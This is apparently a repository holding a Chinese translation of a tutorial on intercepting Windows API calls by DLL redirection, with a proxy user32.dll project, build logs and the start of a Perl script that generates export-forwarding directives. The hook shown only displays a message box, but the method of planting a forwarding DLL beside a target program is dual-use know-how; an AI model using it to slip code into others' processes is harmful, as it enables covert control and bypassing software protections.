├── API Interception via DLL Redirection
├── API Interception via DLL Redirection.md
├── image
│ ├── 20171228_1.jpg
│ ├── 20171228_2.jpg
│ ├── 20171228_3.jpg
│ ├── 20171228_4.jpg
│ ├── 20171228_5.jpg
│ ├── 20171228_6.jpg
│ └── 20171228_7.jpg
└── user32
│ ├── Debug
│ ├── user32.dll
│ ├── user32.exp
│ ├── user32.ilk
│ ├── user32.lib
│ └── user32.pdb
│ ├── ipch
│ └── user32-9d9ad9d6
│ │ └── user32-e8f05c90.ipch
│ ├── user32.sdf
│ ├── user32.sln
│ ├── user32.v12.suo
│ └── user32
│ ├── Debug
│ ├── dllmain.obj
│ ├── stdafx.obj
│ ├── user32.log
│ ├── user32.obj
│ ├── user32.pch
│ ├── user32.tlog
│ │ ├── CL.read.1.tlog
│ │ ├── CL.write.1.tlog
│ │ ├── cl.command.1.tlog
│ │ ├── link.command.1.tlog
│ │ ├── link.read.1.tlog
│ │ ├── link.write.1.tlog
│ │ ├── user32.lastbuildstate
│ │ └── user32.write.1u.tlog
│ ├── vc120.idb
│ └── vc120.pdb
│ ├── ReadMe.txt
│ ├── dllmain.cpp
│ ├── linkout.pl
│ ├── stdafx.cpp
│ ├── stdafx.h
│ ├── targetver.h
│ ├── user32.cpp
│ ├── user32.def
│ ├── user32.txt
│ ├── user32.vcxproj
│ ├── user32.vcxproj.filters
│ └── user33.dll
├── Kernel Driver mmap Handler Exploitation
└── Kernel Driver mmap Handler Exploitation.md
└── files_papers.xlsx
/API Interception via DLL Redirection/API Interception via DLL Redirection.md:
--------------------------------------------------------------------------------
1 | # 通过DLL重定向实现API劫持
2 |
3 | 在Windows系统中,所有的应用程序都必须经由API函数来实现和内核的通信;同样地,尽管在最简单的Windows应用程序中这些函数也十分危险。因此,拦截、监视以及修改一个应用程序API调用的技术通常叫做API Hooking,非常有效的给予其所调用进程的完全控制。从多方面考虑这将非常有用,包括调试、逆向工程以及hacking。
4 |
5 | 实际上有多种方法可以用于实现我们的目的,被文章仅仅实验DLL重定向。选择这一方法出于多种原因考虑:
6 |
7 | 1. 实现相对简单。
8 | 2. 允许我们去观察、修改传递给API函数的参数,修改函数的返回值以及运行其他我们想要执行的代码。
9 | 3. 其他的方法往往需要将代码插入到目标进程或者从一个外部应用程序中执行代码,DLL重定向则仅仅需要拥有向目标应用程序工作目录的写权限。
10 | 4. 我们无需修改目标(磁盘或内存中)或者任意系统文件即可拦截任意API调用。
11 |
12 | ## 工具和预备知识
13 |
14 | 本文将使用下列软件。你当然也可以选择自己偏好的任意工具,然而,请记住它们的具体使用方法和实现:
15 |
16 | - Visual C++ - 用来编译DLL文件
17 | - OllyDbg - 用来实验目标应用程序和外部模块
18 | - DumpbinGUI - 用来获取目标DLL导出的函数列表
19 | - Linkout.pl - 用于自动处理一些体力活(需要ActivePerl)
20 |
21 | 假定读者有牢固的Win32 C/C++编程、汇编语言以及以上所提到应用程序使用的基础(当然不包括linkout.pl)。对于API Hooking其他的方法有一个基础的理解也很有帮助。
22 |
23 | ## DLL重定向是什么
24 |
25 | 可执行程序的导入API函数源于DLL文件,DLL重定向允许我们去告知一个程序所需要加载的DLL被放在另一个目录,而不在使用原始的那些。通过这种方法我们可以创建一个与原始文件同名的DLL,导出和原始DLL相同的函数,但是每个函数都可以包含我们想放置的代码。DLL重定向有两种方法,第一种方法有时被称为"dot local"重定向:
26 |
27 | > 应用程序可能依赖于一个特定的DLL版本,当其他应用程序安装了旧或新的相同DLL时,该应用程序可能会运行失败。有两种方法来确保应用程序使用了正确的DLL:DLL重定向以及端对端组件。开发者和管理员应该对存在的应用程序使用DLL重定向技术,因为他无需修改应用程序。
28 |
29 | 换句话说,.local DLL重定向为开发者提供了强制一个应用程序使用特殊的不同版本DLL的能力。例如,oldapp.exe仅仅在一个旧版本的user32.dll上正常运行,你可以告诉它在自己的工作目录中加载旧版本的user32.dll来工作,而不是将这个旧版本的user32.dll放置在system32目录。其他的应用程序仍然会加载system32下的.local文件(该文件是个简单的空文件,名字是在目标应用程序的名字后加一个.local扩展;这里就是oldapp.exe.local),这个.local文件连同旧版本user32.dll都要放在oldapp.exe所在的目录下。
30 |
31 | 然而,仍然存在一些限制。最重要的,根据MSDN的说法,具体的DLL文件(称为Known DLL's)在Windows XP中不能够重定向(Win2k没有此限制)。Known DLL's的列表可以在`KHEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`中找到;其中也包含了广为人知的kernel32.dll,user32.dll,gdi32.dll。然而以我个人经验来看,这并不是真的——似乎在Windows XP中,一个应用程序要么可以重定向所有的DLL,要么都不行。同样地,如果目标是一个Windows XP上运行的应用程序,.local重定向这种方法并不值得信赖,这种方法应该仅仅用于Windows 2000。
32 |
33 | 第二种方法,也就是我们即将要使用的方法,使用了manifest文件来达成同样的结果。manifest文件和.local文件使用相同的命名转换方式(例如,oldapp.exe.manifest),但却并不为空。他们必须包含具体的XML格式信息。此外,manifest文件也仅在Windows XP和Vista系统上被支持(Win2K不行),但相对于.local重定向来说它们更为可靠,并允许我们重定向任何DLL文件。(注意:我仅在Windows XP上验证过;Windows Vista上可能会有些限制和改动)
34 |
35 | ## 如何使用DLL重定向
36 |
37 | 上面提及的任一方法做重定向都相当简单,像我们后面即将看到的那样,完整的DLL重定向实现比这复杂一些。现在,我们来看一些基础:获取程序来加载当前工作目录下的DLL文件。
38 |
39 | 程序仅在被通知需要重定向时才会使用DLL重定向,通知的方法也非常简单。对.local重定向来说,program_name.exe.local文件的创建会引起应用程序在系统目录中查找DLL文件之前优先在当前工作目录中查找。这非常简单,但也正如上文提及的,在现代系统上并不可靠。
40 |
41 | manifest文件则相对复杂,有一些必要的XML信息必须要保存在manifest文件中。下面是一个manifest文件的样本:
42 |
43 | ```xml
44 |
45 |
46 |
47 |
48 |
59 |
60 | DLL Redirection
61 |
62 |
63 |
64 |
65 |
66 |
81 |
82 |
83 |
84 |
85 |
86 |
91 |
92 |
93 |
94 | ```
95 |
96 | 我们放弃在manifest文件格式上的讨论,这和本文的主题并不直接相关(更多信息参考http://windowssdk.msdn.microsoft.com/en-gb/library/ms766454.aspx)。然而,注意``一节,这一节中我们声明了名字属性,设置它和user32.dll相同。这告诉应用程序manifest文件中指定的user32.dll需要在当前目录下加载。一旦该文件被创建,用和.local文件同样的命名方法保存名字(program_name.exe.manifest),同时也要把它放在目标程序所在的目录下。
97 |
98 | ## 创建Stub DLL
99 |
100 | 我们已经清楚了DLL重定向如何工作,但是像大多数事情那样,实现上还有一点点复杂:当我们重定向DLL时,我们需要让所有的函数都能够查找到。比如说我们想要拦截IE的所有MessageBox调用。MessageBox在user32.dll中,所以我们需要创建一个叫user32.dll且包含MessageBox函数的文件,同时创建一个iexplore.exe.manifest文件并把二者都放在iexplore.exe所在目录下。现在当IE导入API函数时,会加载我们的user32.dll,此后当IE调用MessageBox时,就会执行我们的函数。
101 |
102 | 问题在于MessageBox并不是IE从user32.dll导入的唯一函数。IE有着几百个从user32.dll中导入的函数,如果其中的一个找不到那么IE就会加载失败。另一方面我们也不想要重写所有的user32 DLL函数,我们可以简单的把其他的函数都转向原始user32.dll文件中的函数。
103 |
104 | 首先,我们需要用dumpbinGUI工具来查看user32.dll导出的所有函数(右击user32.dll,找到dumpbinGUI->EXPORTS)。你可能会看到类似这样的东西:
105 |
106 | 
107 |
108 | > 这里我没用这个花哨的GUI,直接dumpbin就行了:
109 |
110 | 
111 |
112 | 现在选择所有列出的函数(ActivateKeyboardLayout开始到wvsprintfW截止),拷贝到一个user32.txt文件中,稍后我们会使用。所有的这些函数都需要从我们的DLL中导出并且定向到原始user32.dll中一致的函数。可以使用链接器导向语法来实现:
113 |
114 | ```cpp
115 | #pragma comment(linker, "/export:MessageBox=user33.MessageBox")
116 | ```
117 |
118 | 该语句使得链接器增加一个可导出的MessageBox函数到我们的DLL导出表中,并且这个导出的函数简单的被定位到user33.dll中的MessageBox函数。注意到使用了user33这个名字而不是user32。这是因为如果我们将其命名为user32.dll,我们就需要指定成user32.MessageBox,这会递归的指向本体。因此,我们拷贝原始user32.dll文件到IE所在目录下并重命名为user33.dll来防止递归。
119 |
120 | User32不包含任何内容,除了一些按顺序的DLL导出函数。这些函数需要一些额外信息。一个函数的序号代表了出现在DLL文件中的位置;换句话说,一个序号为243的函数是DLL导出的第243个函数。为了保证我们的DLL按顺序导出函数,使得函数指向原始DLL中的正确序号,我们用这样的语法:
121 |
122 | ```cpp
123 | #pragma comment(linker,"/export:ord243=shlwapi32.#243,@243,NONAME")
124 | ```
125 |
126 | 他告诉链接器导出一个序号为243的ord243函数,指向了shlwapi32中的第243个,这里没有包含导出的名称。这里唯一的差别在于"@243"表示链接器导出函数使用的是243序列值,而"NONAME"则告诉链接器不要通过函数名称进行导出。ord243是个随机名称,当不使用名字导出时,我们写啥名字其实都不影响。
127 |
128 | 简明扼要的说,我们现在有3个文件,多放在iexplore.exe所在目录中:
129 |
130 | 1. iexplore.exe.manifest - 指定user32.dll需要从当前目录中加载。
131 | 2. user32.dll - 我们自己的DLL文件,内部函数指向了原始的user32.dll文件。
132 | 3. user33.dll - 原始user32.dll文件副本,改了名称。
133 |
134 | ## 开始我们的表演
135 |
136 | 我们已经清楚了需要干些什么,也清楚该如何做,是时候展现真正的技术了。user32.dll有一大堆的函数,如果手工一个一个创建链接器语句实在是浪费生命。因此,我们使用一个脚本来完成这项工作,该脚本需要用到上文提到的user32.txt,它就是linkout.pl。脚本使用方法非常简单:仅需要指定保存函数列表的文本文件(user32.txt)、想要导向的DLL名称(user33)以及输出文件名(缺省使用out.txt)作为参数。
137 |
138 | 
139 |
140 | linkout.pl创建的out.txt文件长成这样:
141 |
142 | 
143 |
144 | 现在我们需要的链接器导向语句全部生成好了,拷贝它们到DLL项目的CPP源文件中,编译成user32.dll。打开VS IDE创建一个新的Win32 C++ DLL Project,命名为user32。你可以删除user32.cpp中的所有预生成代码(除了`#include "stdafx.h"`),粘贴out.txt中所有代码到user32.cpp中,编译整个项目。
145 |
146 | 拷贝生成的user32.dll到IE所在目录,同时也拷贝原始的user32.dll文件(记得改成user33.dll)。最后,使用上文提供的模板创建一个iexplore.exe.manifest文件(IE识别.local重定向,所以你如果信任的话也可以创建一个.local文件)。启动IE,它应该会运行良好。为了测试IE加载的确实是我们的新user32.dll而不是system32下的,可以简单的重命名user33.dll成user34.dll,然后再次运行IE。此时IE应该会因下列错误而失败:
147 |
148 | 
149 |
150 | 这确定了我们的DLL,使用的GetShellWindow函数是user33.GetShellWindow。
151 |
152 | ## 修改函数
153 |
154 | 到此我们的DLL除了转到user33.dll以外什么也没做。我们的终极目标是修改一些API调用。让我们看看还需要哪些额外的步骤去拦截修改API函数,以使用windows计算器为例。注意到计算器不识别.local重定向,所以必须要使用manifest文件。
155 |
156 | 创建一个calc.exe的拷贝,使用OD打开。因为我们已经有了一个user32 DLL,让我们找找在user32.dll中被调用到的API函数。第一个遇到的调用是GetProcessDefaultLayout。
157 |
158 | 
159 |
160 | 再次打开user32 DLL工程,注释掉GetProcessDefaultLayout一行。增加下面的代码:
161 |
162 | ```cpp
163 | __declspec(naked) void myGetProcessDefaultLayout(void)
164 | {
165 | HINSTANCE handle;
166 | FARPROC function;
167 | DWORD retaddr;
168 |
169 | __asm{
170 | pop retaddr
171 | }
172 |
173 | handle = LoadLibraryA("user33.dll");
174 | if(!handle){
175 | MessageBoxA(NULL, "Failed to load user33.dll!", "Error", MB_OK | MB_ICONERROR);
176 | ExitProcess(0);
177 | }
178 |
179 | function = GetProcAddress(handle, "GetProcessDefaultLayout");
180 | if(!function){
181 | MessageBoxA(NULL, "Failed to load GetProcessDefaultLayout!","Error",MB_OK | MB_ICONERROR);
182 | ExitProcess(0);
183 | }
184 |
185 | MessageBoxA(NULL, "GetProcessDefaultLayout called!","Hooked!",MB_OK);
186 |
187 | __asm{
188 | call far dword ptr function
189 | push retaddr
190 | retn
191 | }
192 | }
193 | ```
194 |
195 | 在函数中,我们先pop出栈上的返回地址到retaddr变量中;我们可以通过LoadLibrary和GetProcAddress来找到真正的GetProcessDefaultLayout地址。此后,我们创建一个消息框,提供我们以虚拟的确认以表示我们成功的拦截了API调用。最后,我们调用真实的GetProcessDefaultLayout函数(`call far dword ptr function`),将返回地址压入到栈上并返回。我们也可以修改传递给GetProcessDefaultLayout的参数以及它的返回值。
196 |
197 | 为了导出我们的新函数,我们需要一个DEF文件。DEF文件可以用于创建一个导出函数的列表,并且可以定义导出的函数名。在工程目录下创建一个user32.def文件并写入下面的内容:
198 |
199 | ```
200 | LIBRARY user32.dll
201 |
202 | EXPORTS
203 | GetProcessDefaultLayout=myGetProcessDefaultLayout
204 | ```
205 |
206 | 这回告诉链接器去导出myGetProcessDefaultLayout函数作为GetProcessDefaultLayout。把DEF文件加入到项目中(项目属性->配置属性->链接器->输入->模块定义文件)并编译新的user32项目。
207 |
208 | 拷贝创建的user32.dll,user33.dll和calc.exe.manifest到calc.exe所在的目录。运行计算器,你会看到这样一个消息框:
209 |
210 | 
211 |
212 | DLL重定向很有用,然而,试图拦截一些关键DLL如user32,kernel32中的函数调用会导致应用程序的不稳定。尽管所有的函数都转向了原始的函数,但也可能引起一些非期望结果的情形。其他的方法,特别是IAT补丁,允许你仅仅重定向单一调用,这无疑降低了风险。结合DLL重定向和IAT补丁,你可以实现最佳的效果:重定向关键DLL中的单一函数,与此同时仍然消除了外部应用程序的需求或项目标应用程序IAT做DLL注入。
213 |
214 | 例如,你可以在应用程序执行体中找到一个早期调用的函数,放置在相关的隐藏DLL中,执行DLL重定向来拦截调用。此后你可以在传递控制权给应用程序之前,实现IAT补丁所需要的代码。
215 |
216 | ## 结论
217 |
218 | DLL重定向在Windows中可以是一个很有用的工具用于控制用户空间应用程序。它允许你控制任意Windows平台下可用的API函数,因此就允许你控制已存在的程序代码(或插入新的代码到进程)而无需修改应用程序代码本身(在磁盘或内存中)。这种能力也带来了安全隐患,对于用户和软件公司来说,它可能被用于危害用户的系统,也可以绕过一些审计保护技术(time-trials,CRC校验等)。
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/image/20171228_1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/image/20171228_1.jpg
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/image/20171228_2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/image/20171228_2.jpg
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/image/20171228_3.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/image/20171228_3.jpg
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/image/20171228_4.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/image/20171228_4.jpg
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/image/20171228_5.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/image/20171228_5.jpg
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/image/20171228_6.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/image/20171228_6.jpg
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/image/20171228_7.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/image/20171228_7.jpg
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/Debug/user32.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/Debug/user32.dll
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/Debug/user32.exp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/Debug/user32.exp
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/Debug/user32.ilk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/Debug/user32.ilk
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/Debug/user32.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/Debug/user32.lib
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/Debug/user32.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/Debug/user32.pdb
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/ipch/user32-9d9ad9d6/user32-e8f05c90.ipch:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/ipch/user32-9d9ad9d6/user32-e8f05c90.ipch
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32.sdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32.sdf
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2013
4 | VisualStudioVersion = 12.0.21005.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "user32", "user32\user32.vcxproj", "{9B27A2FF-06BA-43D9-9D46-104EF3E052F4}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Win32 = Debug|Win32
11 | Release|Win32 = Release|Win32
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {9B27A2FF-06BA-43D9-9D46-104EF3E052F4}.Debug|Win32.ActiveCfg = Debug|Win32
15 | {9B27A2FF-06BA-43D9-9D46-104EF3E052F4}.Debug|Win32.Build.0 = Debug|Win32
16 | {9B27A2FF-06BA-43D9-9D46-104EF3E052F4}.Release|Win32.ActiveCfg = Release|Win32
17 | {9B27A2FF-06BA-43D9-9D46-104EF3E052F4}.Release|Win32.Build.0 = Release|Win32
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32.v12.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32.v12.suo
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/dllmain.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/dllmain.obj
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/stdafx.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/stdafx.obj
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/user32.log:
--------------------------------------------------------------------------------
1 | 生成启动时间为 2017/12/28 21:20:16。
2 | 1>项目“G:\exploit-database-papers-master\docs\done\user32\user32\user32\user32.vcxproj”在节点 2 上(Build 个目标)。
3 | 1>ClCompile:
4 | F:\VS2013\VC\bin\CL.exe /c /ZI /nologo /W3 /WX- /sdl /Od /Oy- /D WIN32 /D _DEBUG /D _WINDOWS /D _USRDLL /D USER32_EXPORTS /D _WINDLL /D _UNICODE /D UNICODE /Gm /EHsc /RTC1 /MDd /GS /fp:precise /Zc:wchar_t /Zc:forScope /Yu"stdafx.h" /Fp"Debug\user32.pch" /Fo"Debug\\" /Fd"Debug\vc120.pdb" /Gd /TP /analyze- /errorReport:prompt user32.cpp
5 | user32.cpp
6 | Link:
7 | F:\VS2013\VC\bin\link.exe /ERRORREPORT:PROMPT /OUT:"G:\exploit-database-papers-master\docs\done\user32\user32\Debug\user32.dll" /INCREMENTAL /NOLOGO kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /DEF:"user32.def" /MANIFEST /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /manifest:embed /DEBUG /PDB:"G:\exploit-database-papers-master\docs\done\user32\user32\Debug\user32.pdb" /SUBSYSTEM:WINDOWS /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:"G:\exploit-database-papers-master\docs\done\user32\user32\Debug\user32.lib" /MACHINE:X86 /DLL Debug\dllmain.obj
8 | Debug\stdafx.obj
9 | Debug\user32.obj
10 | 正在创建库 G:\exploit-database-papers-master\docs\done\user32\user32\Debug\user32.lib 和对象 G:\exploit-database-papers-master\docs\done\user32\user32\Debug\user32.exp
11 | user32.vcxproj -> G:\exploit-database-papers-master\docs\done\user32\user32\Debug\user32.dll
12 | 1>已完成生成项目“G:\exploit-database-papers-master\docs\done\user32\user32\user32\user32.vcxproj”(Build 个目标)的操作。
13 |
14 | 生成成功。
15 |
16 | 已用时间 00:00:01.07
17 |
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/user32.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.obj
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/user32.pch:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.pch
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/CL.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/CL.read.1.tlog
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/CL.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/CL.write.1.tlog
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/cl.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/cl.command.1.tlog
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/link.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/link.command.1.tlog
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/link.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/link.read.1.tlog
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/link.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/link.write.1.tlog
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/user32.lastbuildstate:
--------------------------------------------------------------------------------
1 | #TargetFrameworkVersion=v4.0:PlatformToolSet=v120:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit
2 | Debug|Win32|G:\exploit-database-papers-master\docs\done\user32\user32\|
3 |
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/user32.write.1u.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/user32.write.1u.tlog
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/vc120.idb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/vc120.idb
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/Debug/vc120.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/vc120.pdb
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/ReadMe.txt:
--------------------------------------------------------------------------------
1 | ========================================================================
2 | 动态链接库:user32 项目概述
3 | ========================================================================
4 |
5 | 应用程序向导已为您创建了此 user32 DLL。
6 |
7 | 本文件概要介绍组成 user32 应用程序的每个文件的内容。
8 |
9 |
10 | user32.vcxproj
11 | 这是使用应用程序向导生成的 VC++ 项目的主项目文件,其中包含生成该文件的 Visual C++ 的版本信息,以及有关使用应用程序向导选择的平台、配置和项目功能的信息。
12 |
13 | user32.vcxproj.filters
14 | 这是使用“应用程序向导”生成的 VC++ 项目筛选器文件。它包含有关项目文件与筛选器之间的关联信息。在 IDE 中,通过这种关联,在特定节点下以分组形式显示具有相似扩展名的文件。例如,“.cpp”文件与“源文件”筛选器关联。
15 |
16 | user32.cpp
17 | 这是主 DLL 源文件。
18 |
19 | 此 DLL 在创建时不导出任何符号。因此,生成时不会产生 .lib 文件。如果希望此项目成为其他某个项目的项目依赖项,则需要添加代码以从 DLL 导出某些符号,以便产生一个导出库,或者,也可以在项目“属性页”对话框中的“链接器”文件夹中,将“常规”属性页上的“忽略输入库”属性设置为“是”。
20 |
21 | /////////////////////////////////////////////////////////////////////////////
22 | 其他标准文件:
23 |
24 | StdAfx.h, StdAfx.cpp
25 | 这些文件用于生成名为 user32.pch 的预编译头 (PCH) 文件和名为 StdAfx.obj 的预编译类型文件。
26 |
27 | /////////////////////////////////////////////////////////////////////////////
28 | 其他注释:
29 |
30 | 应用程序向导使用“TODO:”注释来指示应添加或自定义的源代码部分。
31 |
32 | /////////////////////////////////////////////////////////////////////////////
33 |
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/dllmain.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/dllmain.cpp
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/linkout.pl:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl
2 | ##############################################################
3 | #Description
4 | # Perl script to take a list of exported functions (as
5 | # displayed by dumpbin) and produce a list of linker directives
6 | # suitable for use in a C/C++ DLL project.
7 | # Each listed function will be exported and point to a
8 | # corresponding function of the same name/ordinal in the
9 | # specified DLL ().
10 | #
11 | #Usage
12 | # ./local.pl [output file]
13 | #
14 | # A text file containing the list of functions as
15 | # displayed by dumpbin.
16 | #
17 | # The DLL to which the functions will be forwarded to.
18 | #
19 | # [output file] Specifies the output file. If this parameter
20 | # is not specified, out.txt is used by default.
21 | #
22 | #Author
23 | # Craig Heffner
24 | # http://www.craigheffner.com
25 | # heffnercj [at] gmail.com
26 | # 10/28/2006
27 | ############################################################
28 |
29 | #usage
30 |
31 | if(!$ARGV[1]){
32 |
33 | print "\nUsage: ./linkout.pl [output file]\n\n is the name of a text file containing the exports list from dumpbin.\n\n is the name of the dll you wish to forward functions to.\n\n[output file] is the name of the file you want the results saved to.\n\nExample: ./linkout.pl dump.txt kernel32 output.txt\n";
34 | exit;
35 | }
36 |
37 |
38 | if(!$ARGV[2]){
39 | $file_out = "out.txt"; #default output file to use if one is not specified
40 | } else {
41 | $file_out = $ARGV[2];
42 | }
43 |
44 | $file_in = $ARGV[0];
45 | $dll = $ARGV[1];
46 | $prepend = "#pragma comment(linker, \"/export:";
47 |
